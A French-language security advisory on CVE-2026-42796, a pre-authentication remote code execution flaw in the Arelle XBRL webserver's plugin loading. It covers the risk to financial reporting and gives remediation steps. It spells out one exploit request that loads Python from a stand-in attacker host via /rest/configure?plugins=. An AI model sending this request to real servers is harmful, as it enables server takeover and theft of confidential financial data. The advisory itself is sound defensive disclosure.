CVE-2026-42796 : Arelle RCE non-auth via plugin loading (9.8)

Les faits

La vulnérabilité CVE-2026-42796, publiée le 4 mai 2026 sur le NVD, frappe Arelle, l'outil open source de référence pour le traitement et la validation de documents XBRL (eXtensible Business Reporting Language). Avec un score CVSS de 9.8 sur 10.0, la faille permet à un attaquant non authentifié d'exécuter du code Python arbitraire dans le contexte du processus serveur Arelle, héritant des privilèges du compte sous lequel le service est lancé.

Arelle est un composant clé dans la chaîne de production des reportings financiers exigés par les régulateurs nationaux et internationaux. Il est utilisé par les directions financières, les commissaires aux comptes et les autorités de marché pour valider la conformité des dépôts XBRL au format ESEF (European Single Electronic Format) imposé par l'ESMA, ou aux taxonomies SEC EDGAR américaines. Sa version webserver expose une API REST permettant l'intégration dans des chaînes de traitement automatisées.

La faille technique se trouve dans l'endpoint /rest/configure, qui accepte un paramètre de query nommé plugins. La valeur fournie pour ce paramètre est directement transmise au plugin manager d'Arelle, sans contrôle d'authentification ni validation préalable. Le plugin manager interprète la valeur comme un chemin ou une URL pointant vers un module Python à charger dynamiquement. Lorsque l'attaquant fournit une URL HTTP/HTTPS vers un fichier Python qu'il contrôle, Arelle télécharge ce fichier et l'exécute via le mécanisme standard d'import Python.

L'exploitation se résume à une simple requête HTTP : un appel curl ou navigateur vers http://<arelle>/rest/configure?plugins=http://attacker.tld/payload.py suffit à déclencher l'exécution. Le payload Python s'exécute dans le processus Python du webserver Arelle, avec tous les privilèges du compte associé — souvent un compte applicatif privilégié pour permettre à Arelle d'écrire dans son cache, ses logs et son répertoire de plugins. Sur les déploiements Windows en service, le compte est fréquemment LocalSystem ou un compte de domaine technique avec droits étendus.

Le mode opératoire est donc trivial : les outils offensifs courants (curl, Burp, ZAP) suffisent et aucune connaissance approfondie du protocole XBRL n'est nécessaire. L'attaquant n'a besoin que de l'accessibilité de l'endpoint web et d'une infrastructure publique pour héberger son payload Python — ce qui peut être un simple gist GitHub, un object S3 ou un serveur HTTP éphémère sur un VPS jetable. Cette accessibilité opérationnelle classe la faille dans la catégorie des « point and shoot ».

D'après les notices publiées sur le NVD/NIST et la base CIRCL Vulnerability Lookup, le défaut affecte toutes les versions d'Arelle antérieures à la 2.39.10. La correction, publiée par les mainteneurs du projet, ajoute des contrôles d'authentification et restreint la liste des sources autorisées pour le chargement de plugins. La version 2.39.10 est disponible sur PyPI et sur le dépôt GitHub officiel du projet Arelle.

L'historique d'Arelle fait apparaître plusieurs failles antérieures de gravité moindre, mais cette CVE-2026-42796 marque une étape qualitative : l'exploitation est possible sans aucune authentification, alors que les vulnérabilités précédentes nécessitaient au moins un accès local ou une session valide. Le caractère « pre-auth RCE » est précisément ce qui rend cette faille dangereuse pour les déploiements exposés sur Internet ou sur un réseau d'entreprise large.

Le contexte d'usage d'Arelle aggrave le risque : les serveurs hébergeant l'application traitent quotidiennement des documents financiers confidentiels, des liasses fiscales et des dépôts pré-publication d'informations sensibles pour le marché. Une compromission peut conduire à un délit d'initié si l'attaquant exfiltre les rapports avant leur publication officielle, en plus du risque classique de prise de contrôle du serveur et de pivot interne.

Impact et exposition

Sont exposées toutes les organisations utilisant Arelle webserver dans une version antérieure à 2.39.10. Cela inclut typiquement les directions financières utilisant Arelle pour automatiser la production de rapports ESEF, les cabinets d'audit ayant intégré Arelle dans leur chaîne de validation, et les éditeurs de logiciels financiers qui distribuent Arelle embarqué dans leurs solutions. Les déploiements en mode CLI ne sont pas affectés par cette vulnérabilité spécifique, mais sont rares en environnement professionnel.

Le profil de victime à risque maximal est l'entreprise cotée ayant exposé un service Arelle sur son intranet pour permettre aux contrôleurs de gestion de tester leurs liasses XBRL. Si cet intranet est accessible depuis le réseau bureautique général, ou pire si une exposition Internet a été créée pour faciliter le travail à distance, la vulnérabilité devient critique. Plusieurs intégrateurs spécialisés en finance ont par ailleurs documenté des architectures où Arelle est exposé via reverse proxy à des partenaires externes.

Au-delà du vol de rapports, la compromission d'un serveur Arelle ouvre des perspectives d'attaque latérale dans les systèmes financiers : accès aux ERP via des credentials stockés, pivot vers les serveurs de consolidation comptable, voire accès aux outils de signature électronique des dépôts réglementaires. Pour un attaquant motivé, c'est un point d'entrée privilégié vers le cœur du système d'information financier.

Aucune exploitation in-the-wild n'est confirmée à la publication, mais la simplicité de l'exploit et la valeur des cibles potentielles en font un candidat naturel pour les groupes APT à motivation économique et les opérateurs de ransomware spécialisés dans le secteur financier. Les équipes SOC des établissements financiers doivent prioriser la chasse aux indicateurs liés à cette vulnérabilité dans les 72 heures.

Recommandations immédiates

• Mettre à jour Arelle vers la version 2.39.10 ou supérieure sur tous les serveurs en production via pip install --upgrade arelle ou en redéployant l'image Docker officielle mise à jour.
• En attendant la mise à jour, bloquer au niveau du reverse proxy ou pare-feu applicatif les requêtes vers l'endpoint /rest/configure.
• Vérifier l'absence d'exposition Internet du service Arelle ; le placer derrière un VPN ou un bastion d'accès sécurisé.
• Auditer les logs d'accès Arelle pour identifier toute requête vers /rest/configure avec un paramètre plugins contenant http:// ou https://, sur les 90 derniers jours.
• Lancer le service Arelle sous un compte applicatif dédié à privilèges minimaux, jamais sous LocalSystem ou un compte de domaine privilégié.
• Mettre en place une règle de détection EDR sur les processus Python lancés par le service Arelle qui établissent des connexions sortantes vers des URLs externes inhabituelles.